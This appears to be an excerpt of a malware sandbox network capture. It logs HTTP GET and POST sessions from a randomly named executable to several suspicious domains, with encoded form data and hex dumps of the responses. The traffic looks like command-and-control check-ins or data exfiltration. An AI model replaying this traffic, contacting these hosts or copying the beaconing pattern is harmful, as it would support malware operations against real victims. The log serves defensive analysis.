8	192.168.11.20	49746	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:29.825237989 CEST	528	OUT	GET /5odm/?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.uky09q.vip Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:22:30.827374935 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:22:30 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 36 76 31 3d 2b 34 65 52 63 38 36 74 37 5a 34 4c 75 31 76 53 6f 35 73 34 69 62 56 65 39 63 38 41 56 5a 67 2b 36 59 45 42 4b 2f 35 2f 5a 46 66 64 6f 53 2f 2b 6e 57 6c 52 37 54 77 66 62 58 47 6f 77 76 61 49 79 4a 57 53 52 51 6a 47 68 6a 62 6f 6d 50 47 38 4c 4b 53 64 43 43 63 5a 68 52 52 61 6f 4c 5a 30 6f 6b 78 78 55 48 54 61 5a 2b 4a 67 57 76 57 50 31 33 6d 61 69 42 67 3d 26 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?6v1=+4eRc86t7Z4Lu1vSo5s4ibVe9c8AVZg+6YEBK/5/ZFfdoS/+nWlR7TwfbXGowvaIyJWSRQjGhjbomPG8LKSdCCcZhRRaoLZ0okxxUHTaZ+JgWvWP13maiBg=&dX7=sns4Fhmpql"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49747	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:36.063596964 CEST	803	OUT	POST /agok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jcblessings.shop Origin: http://www.jcblessings.shop Referer: http://www.jcblessings.shop/agok/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 75 52 74 59 33 5a 61 77 59 66 41 4f 4a 4d 34 6e 51 6a 71 44 2f 63 72 67 41 6e 69 45 68 51 65 47 45 69 45 64 68 4c 33 70 32 51 48 38 4c 59 42 2b 43 63 46 6d 46 7a 71 30 4c 76 76 61 76 49 44 45 79 71 69 4c 70 79 63 79 65 46 64 6b 4c 43 56 61 47 72 2b 71 77 74 65 46 70 49 6c 53 53 42 6a 61 7a 36 76 73 43 44 4d 4b 38 72 67 75 65 67 7a 53 65 56 4a 7a 58 75 79 4b 72 53 7a 61 54 70 54 75 6f 4a 58 44 6b 4c 36 6f 76 41 31 36 6f 33 62 4b 4e 2f 35 39 38 6f 41 36 37 37 66 67 59 43 6b 74 52 51 75 76 36 62 33 6d 7a 39 78 75 79 5a 46 71 50 4c 72 2b 30 37 32 6f 2b 69 74 50 32 49 52 39 67 3d 3d Data Ascii: 6v1=euRtY3ZawYfAOJM4nQjqD/crgAniEhQeGEiEdhL3p2QH8LYB+CcFmFzq0LvvavIDEyqiLpycyeFdkLCVaGr+qwteFpIlSSBjaz6vsCDMK8rguegzSeVJzXuyKrSzaTpTuoJXDkL6ovA16o3bKN/598oA677fgYCktRQuv6b3mz9xuyZFqPLr+072o+itP2IR9g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49748	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:38.700634003 CEST	823	OUT	POST /agok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jcblessings.shop Origin: http://www.jcblessings.shop Referer: http://www.jcblessings.shop/agok/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 75 52 74 59 33 5a 61 77 59 66 41 50 70 38 34 68 48 2f 71 43 66 63 6f 2b 77 6e 69 50 42 51 53 47 45 2b 45 64 6b 7a 6e 70 45 45 48 2f 71 6f 42 2f 44 63 46 6e 46 7a 71 7a 37 76 71 55 50 49 4b 45 79 6d 51 4c 70 65 63 79 61 74 64 6b 50 4f 56 64 78 2f 35 72 67 74 63 4f 4a 49 6e 66 79 42 6a 61 7a 36 76 73 43 57 6a 4b 38 6a 67 75 74 6f 7a 53 37 68 4f 36 33 75 78 4c 72 53 7a 51 7a 70 66 75 6f 4a 35 44 6c 57 66 6f 70 45 31 36 74 62 62 4e 59 54 36 6f 73 6f 4f 77 62 36 6f 72 59 4c 73 6a 6c 77 46 72 37 33 54 76 32 35 32 6d 45 49 66 33 39 2f 50 39 6e 6e 45 73 4f 62 46 4e 30 4a 4b 67 69 4e 69 41 6d 51 47 33 31 73 34 78 78 42 74 71 2f 38 75 69 46 55 3d Data Ascii: 6v1=euRtY3ZawYfAPp84hH/qCfco+wniPBQSGE+EdkznpEEH/qoB/DcFnFzqz7vqUPIKEymQLpecyatdkPOVdx/5rgtcOJInfyBjaz6vsCWjK8jgutozS7hO63uxLrSzQzpfuoJ5DlWfopE16tbbNYT6osoOwb6orYLsjlwFr73Tv252mEIf39/P9nnEsObFN0JKgiNiAmQG31s4xxBtq/8uiFU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49749	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:41.341571093 CEST	2578	OUT	POST /agok/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.jcblessings.shop Origin: http://www.jcblessings.shop Referer: http://www.jcblessings.shop/agok/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 7368 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 65 75 52 74 59 33 5a 61 77 59 66 41 50 70 38 34 68 48 2f 71 43 66 63 6f 2b 77 6e 69 50 42 51 53 47 45 2b 45 64 6b 7a 6e 70 45 63 48 38 59 67 42 2b 67 6b 46 6b 46 7a 71 77 37 76 72 55 50 4a 61 45 78 57 55 4c 70 43 6d 79 63 70 64 6d 71 53 56 63 44 48 35 79 51 74 63 42 70 49 6d 53 53 42 4d 61 77 53 72 73 43 47 6a 4b 38 6a 67 75 73 59 7a 62 4f 56 4f 38 33 75 79 4b 72 53 2f 61 54 70 37 75 73 64 50 44 6c 69 6c 6f 5a 6b 31 36 4e 4c 62 50 75 6e 36 31 63 70 6f 33 62 36 77 72 59 58 6a 6a 68 51 4a 72 34 72 70 76 78 4e 32 6b 67 78 70 67 63 7a 30 6e 48 62 74 76 64 69 6a 4c 6e 67 63 70 43 35 61 4f 32 45 38 31 6c 38 31 34 42 38 6e 35 64 49 49 2f 46 58 78 6d 45 42 49 34 2f 7a 58 67 62 2f 30 78 6e 6e 46 78 54 61 48 76 54 59 58 54 4c 38 71 6c 39 6a 7a 66 71 6e 6e 49 52 56 73 41 58 4f 42 71 55 67 30 74 75 4b 35 68 6d 41 67 6f 63 4d 79 4b 70 66 7a 61 71 72 4c 42 30 6b 46 6c 71 35 69 51 41 30 32 42 61 5a 76 39 2b 32 35 77 33 4d 75 30 73 76 4f 7a 68 53 77 71 63 34 46 42 6c 42 4e 78 4f 5a 46 54 2f 38 70 61 4e [TRUNCATED] Data Ascii: 6v1=euRtY3ZawYfAPp84hH/qCfco+wniPBQSGE+EdkznpEcH8YgB+gkFkFzqw7vrUPJaExWULpCmycpdmqSVcDH5yQtcBpImSSBMawSrsCGjK8jgusYzbOVO83uyKrS/aTp7usdPDliloZk16NLbPun61cpo3b6wrYXjjhQJr4rpvxN2kgxpgcz0nHbtvdijLngcpC5aO2E81l814B8n5dII/FXxmEBI4/zXgb/0xnnFxTaHvTYXTL8ql9jzfqnnIRVsAXOBqUg0tuK5hmAgocMyKpfzaqrLB0kFlq5iQA02BaZv9+25w3Mu0svOzhSwqc4FBlBNxOZFT/8paNHyJmSogBq/7PC4/dPnzYWLfCRZczFGkitTxB472cnYp5D+jTYG6bPoyHU967UT2/YOj2yAPmQViMOFW9AbxvVprGUZlr4jcwikGlAf33Ee6vwzDtcXSqXuX7ya6c5lW9vUbWjgedS5eQXoX6ZQNoDZBjHbaYwCMbiT+ZViUebQKpdvaWVEPeEqEFVX7WDbb+DDhKQA04XXGeiO9jQdeN6jzWEFy+td7wTZxbloetrvdsgGCvxY27Z/DxSg5p4m3c8Zmap+2pybb15nygcBMllF84gqC2uF24lH8D7XINuhSYT62hLwvcgsWtBloI+wqhpzOPM9dOB5chxvxnts3Vaqi09+qpV9NgXY4gyZJm1GCFNDtZ4OkTq+dtZ8IYbFUBpLGVolMnwbrvRGCvbJmozPzhN4SsnBYUnp5dBvhqj+IdMpf+szqXMogOY6ixj5vO7qto+/dBJktV55F3ksK+k9GeHF4CLwJ7+/ngqrhKtzw1syeSbXDahud0orUdXpzeFlruVJkgwmm+QykXNMX0ncZWlDxZdPItyXNXYvBIO4QcQm9qSDCu//2TPrJW32PwwsFJVIH6HmBhlAwrcedAfiNjW/H/o+vmsgo3TEz+9aXvvGG6jAbJtRO4LCdUmkn+tY036LR474dOP/G4aRYdrxKQLaRDRXRVfa [TRUNCATED]
Oct 8, 2024 15:22:41.341590881 CEST	5394	OUT	Data Raw: 43 53 64 76 57 6b 57 48 57 4a 42 78 62 38 37 70 35 71 66 6a 78 75 53 68 49 55 77 4a 4b 30 49 41 58 75 67 7a 4b 58 34 34 46 64 2b 2b 31 4e 50 35 4d 35 71 37 4a 2b 4e 76 34 2f 68 4c 59 66 30 65 58 58 30 4b 38 4a 61 5a 63 42 61 37 2b 2f 79 6a 31 76 Data Ascii: CSdvWkWHWJBxb87p5qfjxuShIUwJK0IAXugzKX44Fd++1NP5M5q7J+Nv4/hLYf0eXX0K8JaZcBa7+/yj1vOHrUd8sLtqrsuma0rzblXayl/a9E60vP/Re65tPc2kyCIxKtp9JWXv0//emEmxM93rU6IOAuVSJUtNV5nywvWiyhPP0QmaevXGhDVVKzevF82qku7Cu+Svc4kKWstts/fQBEs/itPwb5lZlEkyxT4rMIqbp4baGn+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49750	3.33.130.190	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:43.978610039 CEST	534	OUT	GET /agok/?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Host: www.jcblessings.shop Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0)
Oct 8, 2024 15:22:47.011672020 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 08 Oct 2024 13:22:46 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 58 37 3d 73 6e 73 34 46 68 6d 70 71 6c 26 36 76 31 3d 54 73 35 4e 62 41 6b 71 33 62 72 55 44 36 6b 33 6a 54 48 79 4a 2b 55 4f 38 43 69 65 59 44 77 6d 4e 6b 36 31 65 6b 76 52 72 43 51 6a 76 74 31 37 2b 54 55 4f 32 56 7a 33 32 36 79 74 56 49 31 34 43 51 54 4c 58 61 4b 48 72 61 74 32 74 61 75 41 61 6d 66 39 6b 33 5a 69 4e 4c 41 5a 58 52 56 64 65 53 44 68 6c 43 53 35 42 64 6e 62 6e 2f 63 52 66 62 41 74 73 45 4d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dX7=sns4Fhmpql&6v1=Ts5NbAkq3brUD6k3jTHyJ+UO8CieYDwmNk61ekvRrCQjvt17+TUO2Vz326ytVI14CQTLXaKHrat2tauAamf9k3ZiNLAZXRVdeSDhlCS5Bdnbn/cRfbAtsEM="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49751	66.198.240.15	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:52.327281952 CEST	821	OUT	POST /2ryn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/2ryn/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 200 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 4c 54 72 75 6f 37 73 37 56 64 66 41 2b 59 4d 32 49 4f 59 54 30 55 6e 6a 53 5a 47 6f 44 4a 4a 76 6d 58 66 39 46 31 57 4c 6c 72 63 73 79 66 43 72 4c 69 51 71 66 41 41 37 53 79 64 39 7a 74 7a 64 48 37 31 31 2f 45 36 55 6f 63 71 37 41 64 77 44 6f 46 43 79 4a 57 72 74 53 47 48 59 71 63 72 4b 32 56 49 32 31 30 74 72 6f 44 34 69 48 36 52 6f 45 2b 7a 41 69 46 79 7a 78 30 71 47 57 70 45 51 61 43 77 58 50 43 66 4f 6c 68 50 6c 6a 71 6b 63 4a 6c 64 62 47 6a 54 36 69 69 36 56 66 43 31 53 49 56 57 47 4b 2f 77 79 30 4e 51 36 53 76 48 75 41 6f 2b 59 45 35 4e 49 47 74 4c 7a 38 53 76 43 51 3d 3d Data Ascii: 6v1=bLTruo7s7VdfA+YM2IOYT0UnjSZGoDJJvmXf9F1WLlrcsyfCrLiQqfAA7Syd9ztzdH711/E6Uocq7AdwDoFCyJWrtSGHYqcrK2VI210troD4iH6RoE+zAiFyzx0qGWpEQaCwXPCfOlhPljqkcJldbGjT6ii6VfC1SIVWGK/wy0NQ6SvHuAo+YE5NIGtLz8SvCQ==
Oct 8, 2024 15:22:52.650743008 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 13:22:52 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 6b 77 e4 c6 91 20 fa 59 7d ce fd 0f 50 e9 48 cd 92 0a 28 bc 1f 64 b3 6d 89 92 6c cd b6 2c 1f b7 6c df b5 5b 87 07 05 a0 48 74 a3 0a 65 a0 8a 0f d1 fc 30 1e db eb f5 de 5f b1 bb b3 d6 e8 8e c7 c7 e3 3b 3b c7 fb 4b d8 ff e6 46 44 e2 fd 2a d4 a3 bb a5 71 ab 45 12 48 44 46 46 44 46 44 46 24 32 13 0f de fc f0 b3 93 cf ff f3 0f 3f e2 ce 97 b3 e0 e1 bd 07 f8 87 73 fd e8 78 10 2d 83 01 17 d8 f3 b3 e3 81 1d 0d b8 45 e4 4d fd ab e3 41 78 76 08 b0 cb 45 7c 38 1e 87 67 0b 61 e6 8d e7 f1 5b 03 ac ea d9 ee c3 7b 6f 3c 98 79 4b 9b 73 ce ed 28 f6 96 c7 83 1f 7f fe 31 6f 0e b8 71 f6 64 6e cf bc e3 c1 85 ef 5d 2e c2 68 39 e0 9c 70 be f4 e6 00 79 e9 bb cb f3 63 d7 bb f0 1d 8f a7 9b 11 e7 cf fd a5 6f 07 7c ec d8 81 77 2c 11 9e 7b 6f bc f1 e0 4d 9e e7 de 0f 02 78 ce 7d 36 f7 b8 c7 1f 7d c6 a9 82 21 c8 1c cf d9 7e 18 7b a1 e0 84 33 8e e7 1f fe 5f 08 bd f4 97 81 f7 f0 c1 98 fd c5 92 02 25 51 38 09 97 71 81 8e 79 e8 cf 5d ef 8a d1 5c 02 3d f3 e6 5e 64 2f c3 a8 00 5d a1 e2 e0 fd 4f 3e 83 [TRUNCATED] Data Ascii: kw Y}PH(dml,l[Hte0_;;KFDqEHDFFDFDF$2?sx-EMAxvE\|8ga[{o<yKs(1oqdn].h9pyco\|w,{oMx}6}!~{3_%Q8qy]\=^d/]O>CFN#v"b/K?q8\|v=oK]-&''c"`4Yd/?`l ?;h5<%n=Y#vL]dV_z3DQRcX<"}PPJeV$%^mI_D$X+@.@Jh$D`=Y/\}sKRM:5,+%l2WZT.h?e%/ 5yvQjQ]E,F\SbmHR"M(ZV<E)$iYZGQNZ'8)r[0)nZd>8!*
Oct 8, 2024 15:22:52.650866985 CEST	1289	IN	Data Raw: 2a ea 2a 0a fa fa a7 a5 17 78 8b f3 70 8e e6 f3 9e a5 eb 9a a8 6b 86 68 e9 2a 3c 0b c2 b3 70 70 98 1b eb 27 33 fb cc fb 6c f2 d4 73 96 1b 34 72 b9 e0 93 41 ec c9 78 b5 08 42 db 8d c1 35 89 b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 3c 36 Data Ascii: *xpkh<pp'3ls4rAxB5d,ON.i<6 ;<6}w9bPG,zGCMxgKo\vl~M~x7,X*5aXJgMC``tU<66R6RuXu{F.
Oct 8, 2024 15:22:52.650882959 CEST	1289	IN	Data Raw: 20 24 08 32 20 66 58 86 8b c1 c8 16 a6 21 ce 3c eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 d6 01 06 18 46 1f d9 a0 e6 b9 7d 0c 6f c2 9f 7b 5f 1c 2f 0f ec 91 07 12 c1 06 72 39 2d f1 39 73 1c 35 ea d9 a0 04 9d b5 14 e2 c8 39 06 81 0a 20 44 f0 c0 Data Ascii: $2 fX!<){?fF}o{_/r9-9s59 Do#_You$FArQq\{\|m<?g9J\H\q\|\|C6D4>rcyK"u?pG}z&B4\|n`n![2y\|/Aed8KGe`
Oct 8, 2024 15:22:52.650897026 CEST	1289	IN	Data Raw: f4 c4 d5 7e c4 a0 c8 8d c2 05 3f f5 71 be fd 70 12 ac a2 03 49 5f 5c 0d b9 d8 86 98 0b 63 61 c9 14 df 1e 1e 6d 06 79 46 b2 07 52 02 e0 eb 2d cd c6 7f aa 78 c4 3a 81 8c fd a8 dc 21 ea e2 ea a8 2c 86 a3 92 94 93 b1 58 16 01 ee 29 44 0a 90 79 a4 af Data Ascii: ~?qpI_\camyFR-x:!,X)DySg"EG`?yh#`<ri!_.8B ~(t*+_r=0`ZB!d+t'erOb8=Ay<`Cv31W60^W&q
Oct 8, 2024 15:22:52.650968075 CEST	1289	IN	Data Raw: 1f df 07 8f c2 16 8b 37 88 07 d7 03 b3 0d 4c 2d 1d 99 01 b4 cc a8 15 4d ba f8 26 2d ab 07 6a 9d 26 9a 49 13 04 b0 be 22 b9 6a 6f 6a af 02 e6 65 da 5e e1 e2 cc 6d 63 c3 55 f8 f2 1b f3 66 5a 47 6d 88 d6 bd f7 ce c9 de ec ed 5f c3 18 d5 32 28 95 04 Data Ascii: 7L-M&-j&I"joje^mcUfZGm_2(Sz!20-5=8F5sw-qM4tz/3!z_n7EWT!RW>@a+./*5QzIp0"$0}MIK4i7CwB9}D\\+Q
Oct 8, 2024 15:22:52.651066065 CEST	1289	IN	Data Raw: 00 51 34 9c 89 7d d4 fc 98 e7 a3 b3 c9 a1 38 92 64 75 24 99 7a 1b 14 06 1c 30 a0 4b 22 a2 d3 27 b6 b4 16 30 43 2c 1a 23 49 5f 07 2f 13 62 cd 36 8d b5 80 29 62 0b 70 2b 5a 11 3c 89 3a d8 6c 20 2d b2 c2 39 2a 06 91 ac 0c b8 9e e3 ba f0 44 30 86 2d Data Ascii: Q4}8du$z0K"'0C,#I_/b6)bp+Z<:l -9*D0-9kG8e%XK6[0,G{0G,]Z5p `;'( - )sxkla+;TAhI,O`'k:wY"P$Ehfwn1aJn<$U\|
Oct 8, 2024 15:22:52.651081085 CEST	1289	IN	Data Raw: 7a 8b f9 9c 7b 57 10 87 3b 3e ce 31 81 94 0d 53 34 5b b8 4d bd 29 58 99 55 e5 33 4b 94 6b 13 30 d9 9c 4c ca 59 4b d2 1c 9d 4d ec 03 7d 24 a9 c6 48 96 8d 91 34 e4 c4 b7 b1 f0 40 d2 b4 11 24 d3 b2 ac 0e f1 70 3b c8 54 da 9a ae 3a cf bc ed a2 87 6c Data Ascii: z{W;>1S4[M)XU3Kk0LYKM}$H4@$p;T:loeYI5/dIo]b5hFb.,FnDk2)Ew91Ru]>h>wt'#5!(/jTACTI#I\v@MPUeeXgfVX
Oct 8, 2024 15:22:52.651107073 CEST	1289	IN	Data Raw: f6 96 71 0f 0b df a8 02 50 76 56 25 65 e5 47 5c 69 63 28 27 43 6c d1 5e 9f 80 72 04 ec 68 4e ae b8 d7 74 0d 02 b6 3a 0e 30 54 17 b4 71 c9 f1 37 65 64 b4 32 a5 42 21 2b 2b 6e 76 29 34 34 84 96 de cd 84 91 2e e9 c6 05 7c 40 19 c6 4d e5 27 1e 66 ac Data Ascii: qPvV%eG\ic('Cl^rhNt:0Tq7ed2B!++nv)44.\|@M'fb'Ox\|{~\|dAAJzJ\W86]O*mYtxwt+Y%Kv~SdR&r1)w-~+~YEP-cn>aTXY"d~ijEJ(Q
Oct 8, 2024 15:22:52.651120901 CEST	1289	IN	Data Raw: e7 16 c8 fb 67 9d 5b 20 ef 91 6d 6e 81 b5 67 96 b9 05 e6 2d b2 cb 2d 5a d9 2d ab dc bd c1 fe d9 e4 36 6d 6d 93 45 6e dd 55 1b 65 8f db aa da 46 59 e3 d6 ac f4 cf 16 b7 6e a2 57 96 b8 05 f6 de d9 e1 36 ce af 57 56 b8 4d d7 f6 c9 06 b7 c0 bb 51 16 Data Ascii: g[ mng--Z-6mmEnUeFYnW6WVMQm$Y6+n+1Aln=D.{&-qKmImec8^YX}mG\|{d[[yY6=7>O$pbN$ioFvnnRlx>k@
Oct 8, 2024 15:22:52.651211023 CEST	1289	IN	Data Raw: 7a 0d b3 f8 35 77 69 aa 4d 75 15 72 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 41 e0 2b ed ee 90 0b 6f 97 fa 71 25 ef 5f 50 f2 d6 82 5a 97 50 34 64 14 5d 1e 3b 93 3b 0c 3d 8a a3 7a 96 6b b9 13 90 3f 48 5a 33 21 b5 9b 4a f0 d7 d4 6d f1 c5 cb bd c6 4a 57 Data Ascii: z5wiMurMVo"ghA+oq%_PZP4d];;=zk?HZ3!JmJWACK8hji6Uh5d[S ^(A"jd[9:h;ck,td0dd1)t:u[6Hgyj]sJFPBxNvwbQno] g
Oct 8, 2024 15:22:52.757340908 CEST	1289	IN	Data Raw: 9f 7d fe 03 ff d3 cf a1 7c 19 ad bc 0c 14 b0 4f fd 33 84 2e 4a 0f 1e 57 7b ff a3 b9 bb 8d 06 e4 1e 29 eb 4a 7b e1 0b 97 42 18 9d 8d 07 cc e7 e4 4f 5a 75 fe 69 1c ce 01 7c fc b0 80 ef 23 d7 5f fe f8 47 9f 0c b8 e5 f5 c2 3b 1e d8 8b 45 e0 3b 14 ad Data Ascii: }\|O3.JW{)J{BOZui\|#_G;E;}j#q<{#,$rL39nnJ0]{dJ*b"1YJ`>m_5<GlBHr`rC_Y0Gu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49752	66.198.240.15	80	2488	C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 15:22:54.970079899 CEST	841	OUT	POST /2ryn/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Accept-Encoding: gzip, deflate Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/2ryn/ Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Content-Length: 220 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; Media Center PC 6.0) Data Raw: 36 76 31 3d 62 4c 54 72 75 6f 37 73 37 56 64 66 47 75 45 4d 6c 72 57 59 62 30 56 56 6d 53 5a 47 36 44 49 41 76 6d 72 66 39 45 78 47 4c 57 50 63 74 54 76 43 71 4b 69 51 70 66 41 41 7a 79 79 59 7a 54 74 34 64 48 48 62 31 2f 34 36 55 70 34 71 37 45 5a 77 44 66 70 44 77 5a 57 70 6d 79 47 46 56 4b 63 72 4b 32 56 49 32 31 67 4c 72 73 76 34 69 33 4b 52 70 6d 47 77 4a 43 46 78 37 52 30 71 43 57 70 41 51 61 43 43 58 4d 47 78 4f 6a 74 50 6c 6e 75 6b 64 62 64 43 53 47 6a 52 30 43 6a 31 53 61 7a 65 53 4c 78 53 50 70 48 5a 39 57 6c 4a 32 6b 2b 64 7a 79 63 61 62 58 6c 2f 4d 32 55 6a 78 2b 54 30 66 65 45 6c 64 59 5a 46 4c 61 6d 36 6b 50 68 33 4c 44 59 6d 32 53 67 3d Data Ascii: 